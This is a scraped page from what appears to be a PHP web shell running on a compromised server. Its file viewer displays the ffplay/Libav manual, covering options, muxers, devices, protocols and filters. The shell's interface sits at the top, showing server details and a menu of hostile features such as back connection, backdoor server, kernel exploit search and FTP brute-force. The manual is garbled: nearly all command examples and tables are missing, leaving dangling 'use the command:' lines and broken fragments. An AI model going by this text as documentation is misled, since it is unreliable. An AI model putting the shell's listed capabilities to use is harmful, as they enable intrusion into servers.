IP Address: 80.252.133.24:443 You: 216.73.216.193
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ usr/ share/ doc/ ffmpeg/ html/ - drwxr-xr-x |
Viewing file:
Select action/file-type: ffplay DocumentationTable of Contents
1. Synopsis
2. DescriptionFFplay is a very simple and portable media player using the Libav libraries and the SDL library. It is mostly used as a testbed for the various Libav APIs. 3. OptionsAll the numerical options, if not specified otherwise, accept in input a string representing a number, which may contain one of the International System number postfixes, for example ’K’, ’M’, ’G’. If ’i’ is appended after the postfix, powers of 2 are used instead of powers of 10. The ’B’ postfix multiplies the value for 8, and can be appended after another postfix or used alone. This allows using for example ’KB’, ’MiB’, ’G’ and ’B’ as postfix. Options which do not take arguments are boolean options, and set the corresponding value to true. They can be set to false by prefixing with "no" the option name, for example using "-nofoo" in the commandline will set to false the boolean option with name "foo". 3.1 Generic optionsThese options are shared amongst the ff* tools.
3.2 Main options
3.3 Advanced options
3.4 While playing
4. Expression EvaluationWhen evaluating an arithemetic expression, Libav uses an internal formula evaluator, implemented through the ‘libavutil/eval.h’ interface. An expression may contain unary, binary operators, constants, and functions. Two expressions expr1 and expr2 can be combined to form another expression "expr1;expr2". expr1 and expr2 are evaluated in turn, and the new expression evaluates to the value of expr2. The following binary operators are available: The following unary operators are available: The following functions are available:
Note that:
thus
is equivalent to
When A evaluates to either 1 or 0, that is the same as
In your C code, you can extend the list of unary and binary functions, and define recognized constants, so that they are available for your expressions. The evaluator also recognizes the International System number postfixes. If ’i’ is appended after the postfix, powers of 2 are used instead of powers of 10. The ’B’ postfix multiplies the value for 8, and can be appended after another postfix or used alone. This allows using for example ’KB’, ’MiB’, ’G’ and ’B’ as postfix. Follows the list of available International System postfixes, with indication of the corresponding powers of 10 and of 2.
5. DemuxersDemuxers are configured elements in Libav which allow to read the multimedia streams from a particular type of file. When you configure your Libav build, all the supported demuxers are enabled by default. You can list all available ones using the configure option "–list-demuxers". You can disable all the demuxers using the configure option "–disable-demuxers", and selectively enable a single demuxer with the option "–enable-demuxer=DEMUXER", or disable it with the option "–disable-demuxer=DEMUXER". The option "-formats" of the ff* tools will display the list of enabled demuxers. The description of some of the currently available demuxers follows. 5.1 image2Image file demuxer. This demuxer reads from a list of image files specified by a pattern. The pattern may contain the string "%d" or "%0Nd", which specifies the position of the characters representing a sequential number in each filename matched by the pattern. If the form "%d0Nd" is used, the string representing the number in each filename is 0-padded and N is the total number of 0-padded digits representing the number. The literal character ’%’ can be specified in the pattern with the string "%%". If the pattern contains "%d" or "%0Nd", the first filename of the file list specified by the pattern must contain a number inclusively contained between 0 and 4, all the following numbers must be sequential. This limitation may be hopefully fixed. The pattern may contain a suffix which is used to automatically determine the format of the images contained in the files. For example the pattern "img-%03d.bmp" will match a sequence of filenames of the form ‘img-001.bmp’, ‘img-002.bmp’, ..., ‘img-010.bmp’, etc.; the pattern "i%%m%%g-%d.jpg" will match a sequence of filenames of the form ‘i%m%g-1.jpg’, ‘i%m%g-2.jpg’, ..., ‘i%m%g-10.jpg’, etc. The size, the pixel format, and the format of each image must be the same for all the files in the sequence. The following example shows how to use ‘ffmpeg’ for creating a video from the images in the file sequence ‘img-001.jpeg’, ‘img-002.jpeg’, ..., assuming an input framerate of 10 frames per second:
Note that the pattern must not necessarily contain "%d" or "%0Nd", for example to convert a single image file ‘img.jpeg’ you can employ the command:
5.2 applehttpApple HTTP Live Streaming demuxer. This demuxer presents all AVStreams from all variant streams. The id field is set to the bitrate variant index number. By setting the discard flags on AVStreams (by pressing ’a’ or ’v’ in ffplay), the caller can decide which variant streams to actually receive. The total bitrate of the variant that the stream belongs to is available in a metadata key named "variant_bitrate". 6. MuxersMuxers are configured elements in Libav which allow writing multimedia streams to a particular type of file. When you configure your Libav build, all the supported muxers
are enabled by default. You can list all available muxers using the
configure option You can disable all the muxers with the configure option
The option A description of some of the currently available muxers follows. 6.1 crcCRC (Cyclic Redundancy Check) testing format. This muxer computes and prints the Adler-32 CRC of all the input audio and video frames. By default audio frames are converted to signed 16-bit raw audio and video frames to raw video before computing the CRC. The output of the muxer consists of a single line of the form: CRC=0xCRC, where CRC is a hexadecimal number 0-padded to 8 digits containing the CRC for all the decoded input frames. For example to compute the CRC of the input, and store it in the file ‘out.crc’:
You can print the CRC to stdout with the command:
You can select the output format of each frame with ‘ffmpeg’ by specifying the audio and video codec and format. For example to compute the CRC of the input audio converted to PCM unsigned 8-bit and the input video converted to MPEG-2 video, use the command:
See also the 6.2 framecrcPer-frame CRC (Cyclic Redundancy Check) testing format. This muxer computes and prints the Adler-32 CRC for each decoded audio and video frame. By default audio frames are converted to signed 16-bit raw audio and video frames to raw video before computing the CRC. The output of the muxer consists of a line for each audio and video frame of the form: stream_index, frame_dts, frame_size, 0xCRC, where CRC is a hexadecimal number 0-padded to 8 digits containing the CRC of the decoded frame. For example to compute the CRC of each decoded frame in the input, and store it in the file ‘out.crc’:
You can print the CRC of each decoded frame to stdout with the command:
You can select the output format of each frame with ‘ffmpeg’ by specifying the audio and video codec and format. For example, to compute the CRC of each decoded input audio frame converted to PCM unsigned 8-bit and of each decoded input video frame converted to MPEG-2 video, use the command:
See also the 6.3 image2Image file muxer. The image file muxer writes video frames to image files. The output filenames are specified by a pattern, which can be used to produce sequentially numbered series of files. The pattern may contain the string "%d" or "%0Nd", this string specifies the position of the characters representing a numbering in the filenames. If the form "%0Nd" is used, the string representing the number in each filename is 0-padded to N digits. The literal character ’%’ can be specified in the pattern with the string "%%". If the pattern contains "%d" or "%0Nd", the first filename of the file list specified will contain the number 1, all the following numbers will be sequential. The pattern may contain a suffix which is used to automatically determine the format of the image files to write. For example the pattern "img-%03d.bmp" will specify a sequence of filenames of the form ‘img-001.bmp’, ‘img-002.bmp’, ..., ‘img-010.bmp’, etc. The pattern "img%%-%d.jpg" will specify a sequence of filenames of the form ‘img%-1.jpg’, ‘img%-2.jpg’, ..., ‘img%-10.jpg’, etc. The following example shows how to use ‘ffmpeg’ for creating a sequence of files ‘img-001.jpeg’, ‘img-002.jpeg’, ..., taking one image every second from the input video:
Note that with ‘ffmpeg’, if the format is not specified with the
Note also that the pattern must not necessarily contain "%d" or "%0Nd", for example to create a single image file ‘img.jpeg’ from the input video you can employ the command:
6.4 mpegtsMPEG transport stream muxer. This muxer implements ISO 13818-1 and part of ETSI EN 300 468. The muxer options are:
The recognized metadata settings in mpegts muxer are
6.5 nullNull muxer. This muxer does not generate any output file, it is mainly useful for testing or benchmarking purposes. For example to benchmark decoding with ‘ffmpeg’ you can use the command:
Note that the above command does not read or write the ‘out.null’ file, but specifying the output file is required by the ‘ffmpeg’ syntax. Alternatively you can write the command as:
6.6 matroskaMatroska container muxer. This muxer implements the matroska and webm container specs. The recognized metadata settings in this muxer are:
For example a 3D WebM clip can be created using the following command line:
7. Input DevicesInput devices are configured elements in Libav which allow to access the data coming from a multimedia device attached to your system. When you configure your Libav build, all the supported input devices are enabled by default. You can list all available ones using the configure option "–list-indevs". You can disable all the input devices using the configure option "–disable-indevs", and selectively enable an input device using the option "–enable-indev=INDEV", or you can disable a particular input device using the option "–disable-indev=INDEV". The option "-formats" of the ff* tools will display the list of supported input devices (amongst the demuxers). A description of the currently available input devices follows. 7.1 alsaALSA (Advanced Linux Sound Architecture) input device. To enable this input device during configuration you need libasound installed on your system. This device allows capturing from an ALSA device. The name of the device to capture has to be an ALSA card identifier. An ALSA identifier has the syntax:
where the DEV and SUBDEV components are optional. The three arguments (in order: CARD,DEV,SUBDEV) specify card number or identifier, device number and subdevice number (-1 means any). To see the list of cards currently recognized by your system check the files ‘/proc/asound/cards’ and ‘/proc/asound/devices’. For example to capture with ‘ffmpeg’ from an ALSA device with card id 0, you may run the command:
For more information see: http://www.alsa-project.org/alsa-doc/alsa-lib/pcm.html 7.2 bktrBSD video input device. 7.3 dv1394Linux DV 1394 input device. 7.4 fbdevLinux framebuffer input device. The Linux framebuffer is a graphic hardware-independent abstraction layer to show graphics on a computer monitor, typically on the console. It is accessed through a file device node, usually ‘/dev/fb0’. For more detailed information read the file Documentation/fb/framebuffer.txt included in the Linux source tree. To record from the framebuffer device ‘/dev/fb0’ with ‘ffmpeg’:
You can take a single screenshot image with the command:
See also http://linux-fbdev.sourceforge.net/, and fbset(1). 7.5 jackJACK input device. To enable this input device during configuration you need libjack installed on your system. A JACK input device creates one or more JACK writable clients, one for each audio channel, with name client_name:input_N, where client_name is the name provided by the application, and N is a number which identifies the channel. Each writable client will send the acquired data to the Libav input device. Once you have created one or more JACK readable clients, you need to connect them to one or more JACK writable clients. To connect or disconnect JACK clients you can use the ‘jack_connect’ and ‘jack_disconnect’ programs, or do it through a graphical interface, for example with ‘qjackctl’. To list the JACK clients and their properties you can invoke the command ‘jack_lsp’. Follows an example which shows how to capture a JACK readable client with ‘ffmpeg’.
For more information read: http://jackaudio.org/ 7.6 libdc1394IIDC1394 input device, based on libdc1394 and libraw1394. 7.7 ossOpen Sound System input device. The filename to provide to the input device is the device node representing the OSS input device, and is usually set to ‘/dev/dsp’. For example to grab from ‘/dev/dsp’ using ‘ffmpeg’ use the command:
For more information about OSS see: http://manuals.opensound.com/usersguide/dsp.html 7.8 sndiosndio input device. To enable this input device during configuration you need libsndio installed on your system. The filename to provide to the input device is the device node representing the sndio input device, and is usually set to ‘/dev/audio0’. For example to grab from ‘/dev/audio0’ using ‘ffmpeg’ use the command:
7.9 video4linux and video4linux2Video4Linux and Video4Linux2 input video devices. The name of the device to grab is a file device node, usually Linux systems tend to automatically create such nodes when the device (e.g. an USB webcam) is plugged into the system, and has a name of the kind ‘/dev/videoN’, where N is a number associated to the device. Video4Linux and Video4Linux2 devices only support a limited set of widthxheight sizes and framerates. You can check which are supported for example with the command ‘dov4l’ for Video4Linux devices and the command ‘v4l-info’ for Video4Linux2 devices. If the size for the device is set to 0x0, the input device will try to autodetect the size to use. Only for the video4linux2 device, if the frame rate is set to 0/0 the input device will use the frame rate value already set in the driver. Video4Linux support is deprecated since Linux 2.6.30, and will be dropped in later versions. Follow some usage examples of the video4linux devices with the ff* tools.
7.10 vfwcapVfW (Video for Windows) capture input device. The filename passed as input is the capture driver number, ranging from 0 to 9. You may use "list" as filename to print a list of drivers. Any other filename will be interpreted as device number 0. 7.11 x11grabX11 video input device. This device allows to capture a region of an X11 display. The filename passed as input has the syntax:
hostname:display_number.screen_number specifies the
X11 display name of the screen to grab from. hostname can be
ommitted, and defaults to "localhost". The environment variable
x_offset and y_offset specify the offsets of the grabbed area with respect to the top-left border of the X11 screen. They default to 0. Check the X11 documentation (e.g. man X) for more detailed information. Use the ‘dpyinfo’ program for getting basic information about the properties of your X11 display (e.g. grep for "name" or "dimensions"). For example to grab from ‘:0.0’ using ‘ffmpeg’:
8. Output DevicesOutput devices are configured elements in Libav which allow to write multimedia data to an output device attached to your system. When you configure your Libav build, all the supported output devices are enabled by default. You can list all available ones using the configure option "–list-outdevs". You can disable all the output devices using the configure option "–disable-outdevs", and selectively enable an output device using the option "–enable-outdev=OUTDEV", or you can disable a particular input device using the option "–disable-outdev=OUTDEV". The option "-formats" of the ff* tools will display the list of enabled output devices (amongst the muxers). A description of the currently available output devices follows. 8.1 alsaALSA (Advanced Linux Sound Architecture) output device. 8.2 ossOSS (Open Sound System) output device. 8.3 sndiosndio audio output device. 9. ProtocolsProtocols are configured elements in Libav which allow to access resources which require the use of a particular protocol. When you configure your Libav build, all the supported protocols are enabled by default. You can list all available ones using the configure option "–list-protocols". You can disable all the protocols using the configure option "–disable-protocols", and selectively enable a protocol using the option "–enable-protocol=PROTOCOL", or you can disable a particular protocol using the option "–disable-protocol=PROTOCOL". The option "-protocols" of the ff* tools will display the list of supported protocols. A description of the currently available protocols follows. 9.1 applehttpRead Apple HTTP Live Streaming compliant segmented stream as a uniform one. The M3U8 playlists describing the segments can be remote HTTP resources or local files, accessed using the standard file protocol. HTTP is default, specific protocol can be declared by specifying "+proto" after the applehttp URI scheme name, where proto is either "file" or "http".
9.2 concatPhysical concatenation protocol. Allow to read and seek from many resource in sequence as if they were a unique resource. A URL accepted by this protocol has the syntax:
where URL1, URL2, ..., URLN are the urls of the resource to be concatenated, each one possibly specifying a distinct protocol. For example to read a sequence of files ‘split1.mpeg’, ‘split2.mpeg’, ‘split3.mpeg’ with ‘ffplay’ use the command:
Note that you may need to escape the character "|" which is special for many shells. 9.3 fileFile access protocol. Allow to read from or read to a file. For example to read from a file ‘input.mpeg’ with ‘ffmpeg’ use the command:
The ff* tools default to the file protocol, that is a resource specified with the name "FILE.mpeg" is interpreted as the URL "file:FILE.mpeg". 9.4 gopherGopher protocol. 9.5 httpHTTP (Hyper Text Transfer Protocol). 9.6 mmstMMS (Microsoft Media Server) protocol over TCP. 9.7 mmshMMS (Microsoft Media Server) protocol over HTTP. The required syntax is:
9.8 md5MD5 output protocol. Computes the MD5 hash of the data to be written, and on close writes this to the designated output or stdout if none is specified. It can be used to test muxers without writing an actual file. Some examples follow.
Note that some formats (typically MOV) require the output protocol to be seekable, so they will fail with the MD5 output protocol. 9.9 pipeUNIX pipe access protocol. Allow to read and write from UNIX pipes. The accepted syntax is:
number is the number corresponding to the file descriptor of the pipe (e.g. 0 for stdin, 1 for stdout, 2 for stderr). If number is not specified, by default the stdout file descriptor will be used for writing, stdin for reading. For example to read from stdin with ‘ffmpeg’:
For writing to stdout with ‘ffmpeg’:
Note that some formats (typically MOV), require the output protocol to be seekable, so they will fail with the pipe output protocol. 9.10 rtmpReal-Time Messaging Protocol. The Real-Time Messaging Protocol (RTMP) is used for streaming multime†dia content across a TCP/IP network. The required syntax is:
The accepted parameters are:
For example to read with ‘ffplay’ a multimedia resource named "sample" from the application "vod" from an RTMP server "myserver":
9.11 rtmp, rtmpe, rtmps, rtmpt, rtmpteReal-Time Messaging Protocol and its variants supported through librtmp. Requires the presence of the librtmp headers and library during configuration. You need to explicitely configure the build with "–enable-librtmp". If enabled this will replace the native RTMP protocol. This protocol provides most client functions and a few server functions needed to support RTMP, RTMP tunneled in HTTP (RTMPT), encrypted RTMP (RTMPE), RTMP over SSL/TLS (RTMPS) and tunneled variants of these encrypted types (RTMPTE, RTMPTS). The required syntax is:
where rtmp_proto is one of the strings "rtmp", "rtmpt", "rtmpe", "rtmps", "rtmpte", "rtmpts" corresponding to each RTMP variant, and server, port, app and playpath have the same meaning as specified for the RTMP native protocol. options contains a list of space-separated options of the form key=val. See the librtmp manual page (man 3 librtmp) for more information. For example, to stream a file in real-time to an RTMP server using ‘ffmpeg’:
To play the same stream using ‘ffplay’:
9.12 rtpReal-Time Protocol. 9.13 rtspRTSP is not technically a protocol handler in libavformat, it is a demuxer and muxer. The demuxer supports both normal RTSP (with data transferred over RTP; this is used by e.g. Apple and Microsoft) and Real-RTSP (with data transferred over RDT). The muxer can be used to send a stream using RTSP ANNOUNCE to a server supporting it (currently Darwin Streaming Server and Mischa Spiegelmock’s RTSP server, http://github.com/revmischa/rtsp-server). The required syntax for a RTSP url is:
options is a
Multiple lower transport protocols may be specified, in that case they are
tried one at a time (if the setup of one fails, the next one is tried).
For the muxer, only the When receiving data over UDP, the demuxer tries to reorder received packets
(since they may arrive out of order, or packets may get lost totally). In
order for this to be enabled, a maximum delay must be specified in the
When watching multi-bitrate Real-RTSP streams with ‘ffplay’, the
streams to display can be chosen with Example command lines: To watch a stream over UDP, with a max reordering delay of 0.5 seconds:
To watch a stream tunneled over HTTP:
To send a stream in realtime to a RTSP server, for others to watch:
9.14 sapSession Announcement Protocol (RFC 2974). This is not technically a protocol handler in libavformat, it is a muxer and demuxer. It is used for signalling of RTP streams, by announcing the SDP for the streams regularly on a separate port. 9.14.1 MuxerThe syntax for a SAP url given to the muxer is:
The RTP packets are sent to destination on port port,
or to port 5004 if no port is specified.
options is a
Example command lines follow. To broadcast a stream on the local subnet, for watching in VLC:
Similarly, for watching in ffplay:
And for watching in ffplay, over IPv6:
9.14.2 DemuxerThe syntax for a SAP url given to the demuxer is:
address is the multicast address to listen for announcements on, if omitted, the default 224.2.127.254 (sap.mcast.net) is used. port is the port that is listened on, 9875 if omitted. The demuxers listens for announcements on the given address and port. Once an announcement is received, it tries to receive that particular stream. Example command lines follow. To play back the first stream announced on the normal SAP multicast address:
To play back the first stream announced on one the default IPv6 SAP multicast address:
9.15 tcpTrasmission Control Protocol. The required syntax for a TCP url is:
9.16 udpUser Datagram Protocol. The required syntax for a UDP url is:
options contains a list of &-seperated options of the form key=val. Follow the list of supported options.
Some usage examples of the udp protocol with ‘ffmpeg’ follow. To stream over UDP to a remote endpoint:
To stream in mpegts format over UDP using 188 sized UDP packets, using a large input buffer:
To receive over UDP from a remote endpoint:
10. Filtergraph descriptionA filtergraph is a directed graph of connected filters. It can contain cycles, and there can be multiple links between a pair of filters. Each link has one input pad on one side connecting it to one filter from which it takes its input, and one output pad on the other side connecting it to the one filter accepting its output. Each filter in a filtergraph is an instance of a filter class registered in the application, which defines the features and the number of input and output pads of the filter. A filter with no input pads is called a "source", a filter with no output pads is called a "sink". 10.1 Filtergraph syntaxA filtergraph can be represented using a textual representation, which
is recognized by the A filterchain consists of a sequence of connected filters, each one connected to the previous one in the sequence. A filterchain is represented by a list of ","-separated filter descriptions. A filtergraph consists of a sequence of filterchains. A sequence of filterchains is represented by a list of ";"-separated filterchain descriptions. A filter is represented by a string of the form: [in_link_1]...[in_link_N]filter_name=arguments[out_link_1]...[out_link_M] filter_name is the name of the filter class of which the described filter is an instance of, and has to be the name of one of the filter classes registered in the program. The name of the filter class is optionally followed by a string "=arguments". arguments is a string which contains the parameters used to initialize the filter instance, and are described in the filter descriptions below. The list of arguments can be quoted using the character "’" as initial and ending mark, and the character ’\’ for escaping the characters within the quoted text; otherwise the argument string is considered terminated when the next special character (belonging to the set "[]=;,") is encountered. The name and arguments of the filter are optionally preceded and followed by a list of link labels. A link label allows to name a link and associate it to a filter output or input pad. The preceding labels in_link_1 ... in_link_N, are associated to the filter input pads, the following labels out_link_1 ... out_link_M, are associated to the output pads. When two link labels with the same name are found in the filtergraph, a link between the corresponding input and output pad is created. If an output pad is not labelled, it is linked by default to the first unlabelled input pad of the next filter in the filterchain. For example in the filterchain:
the split filter instance has two output pads, and the overlay filter instance two input pads. The first output pad of split is labelled "L1", the first input pad of overlay is labelled "L2", and the second output pad of split is linked to the second input pad of overlay, which are both unlabelled. In a complete filterchain all the unlabelled filter input and output pads must be connected. A filtergraph is considered valid if all the filter input and output pads of all the filterchains are connected. Follows a BNF description for the filtergraph syntax:
11. Audio FiltersWhen you configure your Libav build, you can disable any of the existing filters using –disable-filters. The configure output will show the audio filters included in your build. Below is a description of the currently available audio filters. 11.1 anullPass the audio source unchanged to the output. 12. Audio SourcesBelow is a description of the currently available audio sources. 12.1 anullsrcNull audio source, never return audio frames. It is mainly useful as a template and to be employed in analysis / debugging tools. It accepts as optional parameter a string of the form sample_rate:channel_layout. sample_rate specify the sample rate, and defaults to 44100. channel_layout specify the channel layout, and can be either an integer or a string representing a channel layout. The default value of channel_layout is 3, which corresponds to CH_LAYOUT_STEREO. Check the channel_layout_map definition in ‘libavcodec/audioconvert.c’ for the mapping between strings and channel layout values. Follow some examples:
13. Audio SinksBelow is a description of the currently available audio sinks. 13.1 anullsinkNull audio sink, do absolutely nothing with the input audio. It is mainly useful as a template and to be employed in analysis / debugging tools. 14. Video FiltersWhen you configure your Libav build, you can disable any of the existing filters using –disable-filters. The configure output will show the video filters included in your build. Below is a description of the currently available video filters. 14.1 blackframeDetect frames that are (almost) completely black. Can be useful to detect chapter transitions or commercials. Output lines consist of the frame number of the detected frame, the percentage of blackness, the position in the file if known or -1 and the timestamp in seconds. In order to display the output lines, you need to set the loglevel at least to the AV_LOG_INFO value. The filter accepts the syntax:
amount is the percentage of the pixels that have to be below the threshold, and defaults to 98. threshold is the threshold below which a pixel value is considered black, and defaults to 32. 14.2 copyCopy the input source unchanged to the output. Mainly useful for testing purposes. 14.3 cropCrop the input video to out_w:out_h:x:y. The parameters are expressions containing the following constants:
The out_w and out_h parameters specify the expressions for the width and height of the output (cropped) video. They are evaluated just at the configuration of the filter. The default value of out_w is "in_w", and the default value of out_h is "in_h". The expression for out_w may depend on the value of out_h, and the expression for out_h may depend on out_w, but they cannot depend on x and y, as x and y are evaluated after out_w and out_h. The x and y parameters specify the expressions for the position of the top-left corner of the output (non-cropped) area. They are evaluated for each frame. If the evaluated value is not valid, it is approximated to the nearest valid value. The default value of x is "(in_w-out_w)/2", and the default value for y is "(in_h-out_h)/2", which set the cropped area at the center of the input image. The expression for x may depend on y, and the expression for y may depend on x. Follow some examples:
14.4 cropdetectAuto-detect crop size. Calculate necessary cropping parameters and prints the recommended parameters through the logging system. The detected dimensions correspond to the non-black area of the input video. It accepts the syntax:
14.5 drawboxDraw a colored box on the input image. It accepts the syntax:
Follow some examples:
14.6 drawtextDraw text string or text from specified file on top of video using the libfreetype library. To enable compilation of this filter you need to configure FFmpeg with
The filter also recognizes strftime() sequences in the provided text and expands them accordingly. Check the documentation of strftime(). The filter accepts parameters as a list of key=value pairs, separated by ":". The description of the accepted parameters follows.
For example the command:
will draw "Test Text" with font FreeSerif, using the default values for the optional parameters. The command:
will draw ’Test Text’ with font FreeSerif of size 24 at position x=100 and y=50 (counting from the top-left corner of the screen), text is yellow with a red box around it. Both the text and the box have an opacity of 20%. Note that the double quotes are not necessary if spaces are not used within the parameter list. For more information about libfreetype, check: http://www.freetype.org/. 14.7 fadeApply fade-in/out effect to input video. It accepts the parameters: type:start_frame:nb_frames type specifies if the effect type, can be either "in" for fade-in, or "out" for a fade-out effect. start_frame specifies the number of the start frame for starting to apply the fade effect. nb_frames specifies the number of frames for which the fade effect has to last. At the end of the fade-in effect the output video will have the same intensity as the input video, at the end of the fade-out transition the output video will be completely black. A few usage examples follow, usable too as test scenarios.
14.8 fieldorderTransform the field order of the input video. It accepts one parameter which specifies the required field order that the input interlaced video will be transformed to. The parameter can assume one of the following values:
Default value is "tff". Transformation is achieved by shifting the picture content up or down by one line, and filling the remaining line with appropriate picture content. This method is consistent with most broadcast field order converters. If the input video is not flagged as being interlaced, or it is already flagged as being of the required output field order then this filter does not alter the incoming video. This filter is very useful when converting to or from PAL DV material, which is bottom field first. For example:
14.9 fifoBuffer input images and send them when they are requested. This filter is mainly useful when auto-inserted by the libavfilter framework. The filter does not take parameters. 14.10 formatConvert the input video to one of the specified pixel formats. Libavfilter will try to pick one that is supported for the input to the next filter. The filter accepts a list of pixel format names, separated by ":", for example "yuv420p:monow:rgb24". Some examples follow:
14.11 frei0rApply a frei0r effect to the input video. To enable compilation of this filter you need to install the frei0r header and configure Libav with –enable-frei0r. The filter supports the syntax:
filter_name is the name to the frei0r effect to load. If the
environment variable param1, param2, ... , paramN specify the parameters for the frei0r effect. A frei0r effect parameter can be a boolean (whose values are specified
with "y" and "n"), a double, a color (specified by the syntax
R/G/B, R, G, and B being float
numbers from 0.0 to 1.0) or by an The number and kind of parameters depend on the loaded effect. If an effect parameter is not specified the default value is set. Some examples follow:
For more information see: http://piksel.org/frei0r 14.12 gradfunFix the banding artifacts that are sometimes introduced into nearly flat regions by truncation to 8bit colordepth. Interpolate the gradients that should go where the bands are, and dither them. This filter is designed for playback only. Do not use it prior to lossy compression, because compression tends to lose the dither and bring back the bands. The filter takes two optional parameters, separated by ’:’: strength:radius strength is the maximum amount by which the filter will change any one pixel. Also the threshold for detecting nearly flat regions. Acceptable values range from .51 to 255, default value is 1.2, out-of-range values will be clipped to the valid range. radius is the neighborhood to fit the gradient to. A larger radius makes for smoother gradients, but also prevents the filter from modifying the pixels near detailed regions. Acceptable values are 8-32, default value is 16, out-of-range values will be clipped to the valid range.
14.13 hflipFlip the input video horizontally. For example to horizontally flip the video in input with ‘ffmpeg’:
14.14 hqdn3dHigh precision/quality 3d denoise filter. This filter aims to reduce image noise producing smooth images and making still images really still. It should enhance compressibility. It accepts the following optional parameters: luma_spatial:chroma_spatial:luma_tmp:chroma_tmp
14.15 noformatForce libavfilter not to use any of the specified pixel formats for the input to the next filter. The filter accepts a list of pixel format names, separated by ":", for example "yuv420p:monow:rgb24". Some examples follow:
14.16 nullPass the video source unchanged to the output. 14.17 ocvApply video transform using libopencv. To enable this filter install libopencv library and headers and configure Libav with –enable-libopencv. The filter takes the parameters: filter_name{:=}filter_params. filter_name is the name of the libopencv filter to apply. filter_params specifies the parameters to pass to the libopencv filter. If not specified the default values are assumed. Refer to the official libopencv documentation for more precise informations: http://opencv.willowgarage.com/documentation/c/image_filtering.html Follows the list of supported libopencv filters. 14.17.1 dilateDilate an image by using a specific structuring element.
This filter corresponds to the libopencv function It accepts the parameters: struct_el:nb_iterations. struct_el represents a structuring element, and has the syntax: colsxrows+anchor_xxanchor_y/shape cols and rows represent the number of colums and rows of the structuring element, anchor_x and anchor_y the anchor point, and shape the shape for the structuring element, and can be one of the values "rect", "cross", "ellipse", "custom". If the value for shape is "custom", it must be followed by a string of the form "=filename". The file with name filename is assumed to represent a binary image, with each printable character corresponding to a bright pixel. When a custom shape is used, cols and rows are ignored, the number or columns and rows of the read file are assumed instead. The default value for struct_el is "3x3+0x0/rect". nb_iterations specifies the number of times the transform is applied to the image, and defaults to 1. Follow some example:
14.17.2 erodeErode an image by using a specific structuring element.
This filter corresponds to the libopencv function The filter accepts the parameters: struct_el:nb_iterations, with the same meaning and use of those of the dilate filter (see dilate). 14.17.3 smoothSmooth the input video. The filter takes the following parameters: type:param1:param2:param3:param4. type is the type of smooth filter to apply, and can be one of the following values: "blur", "blur_no_scale", "median", "gaussian", "bilateral". The default value is "gaussian". param1, param2, param3, and param4 are parameters whose meanings depend on smooth type. param1 and param2 accept integer positive values or 0, param3 and param4 accept float values. The default value for param1 is 3, the default value for the other parameters is 0. These parameters correspond to the parameters assigned to the
libopencv function 14.18 overlayOverlay one video on top of another. It takes two inputs and one output, the first input is the "main" video on which the second input is overlayed. It accepts the parameters: x:y. x is the x coordinate of the overlayed video on the main video, y is the y coordinate. The parameters are expressions containing the following parameters:
Be aware that frames are taken from each input video in timestamp order, hence, if their initial timestamps differ, it is a a good idea to pass the two inputs through a setpts=PTS-STARTPTS filter to have them begin in the same zero timestamp, as it does the example for the movie filter. Follow some examples:
You can chain togheter more overlays but the efficiency of such approach is yet to be tested. 14.19 padAdd paddings to the input image, and places the original input at the given coordinates x, y. It accepts the following parameters: width:height:x:y:color. The parameters width, height, x, and y are expressions containing the following constants:
Follows the description of the accepted parameters.
Some examples follow:
14.20 pixdesctestPixel format descriptor test filter, mainly useful for internal testing. The output video should be equal to the input video. For example:
can be used to test the monowhite pixel format descriptor definition. 14.21 scaleScale the input video to width:height and/or convert the image format. The parameters width and height are expressions containing the following constants:
If the input image format is different from the format requested by the next filter, the scale filter will convert the input to the requested format. If the value for width or height is 0, the respective input size is used for the output. If the value for width or height is -1, the scale filter will use, for the respective output size, a value that maintains the aspect ratio of the input image. The default value of width and height is 0. Some examples follow:
14.22 setdarSet the Display Aspect Ratio for the filter output video. This is done by changing the specified Sample (aka Pixel) Aspect Ratio, according to the following equation: DAR = HORIZONTAL_RESOLUTION / VERTICAL_RESOLUTION * SAR Keep in mind that this filter does not modify the pixel dimensions of the video frame. Also the display aspect ratio set by this filter may be changed by later filters in the filterchain, e.g. in case of scaling or if another "setdar" or a "setsar" filter is applied. The filter accepts a parameter string which represents the wanted display aspect ratio. The parameter can be a floating point number string, or an expression of the form num:den, where num and den are the numerator and denominator of the aspect ratio. If the parameter is not specified, it is assumed the value "0:1". For example to change the display aspect ratio to 16:9, specify:
See also the "setsar" filter documentation (see setsar). 14.23 setptsChange the PTS (presentation timestamp) of the input video frames. Accept in input an expression evaluated through the eval API, which can contain the following constants:
Some examples follow:
14.24 setsarSet the Sample (aka Pixel) Aspect Ratio for the filter output video. Note that as a consequence of the application of this filter, the output display aspect ratio will change according to the following equation: DAR = HORIZONTAL_RESOLUTION / VERTICAL_RESOLUTION * SAR Keep in mind that the sample aspect ratio set by this filter may be changed by later filters in the filterchain, e.g. if another "setsar" or a "setdar" filter is applied. The filter accepts a parameter string which represents the wanted sample aspect ratio. The parameter can be a floating point number string, or an expression of the form num:den, where num and den are the numerator and denominator of the aspect ratio. If the parameter is not specified, it is assumed the value "0:1". For example to change the sample aspect ratio to 10:11, specify:
14.25 settbSet the timebase to use for the output frames timestamps. It is mainly useful for testing timebase configuration. It accepts in input an arithmetic expression representing a rational. The expression can contain the constants "PI", "E", "PHI", "AVTB" (the default timebase), and "intb" (the input timebase). The default value for the input is "intb". Follow some examples.
14.26 slicifyPass the images of input video on to next video filter as multiple slices.
The filter accepts the slice height as parameter. If the parameter is not specified it will use the default value of 16. Adding this in the beginning of filter chains should make filtering faster due to better use of the memory cache. 14.27 transposeTranspose rows with columns in the input video and optionally flip it. It accepts a parameter representing an integer, which can assume the values:
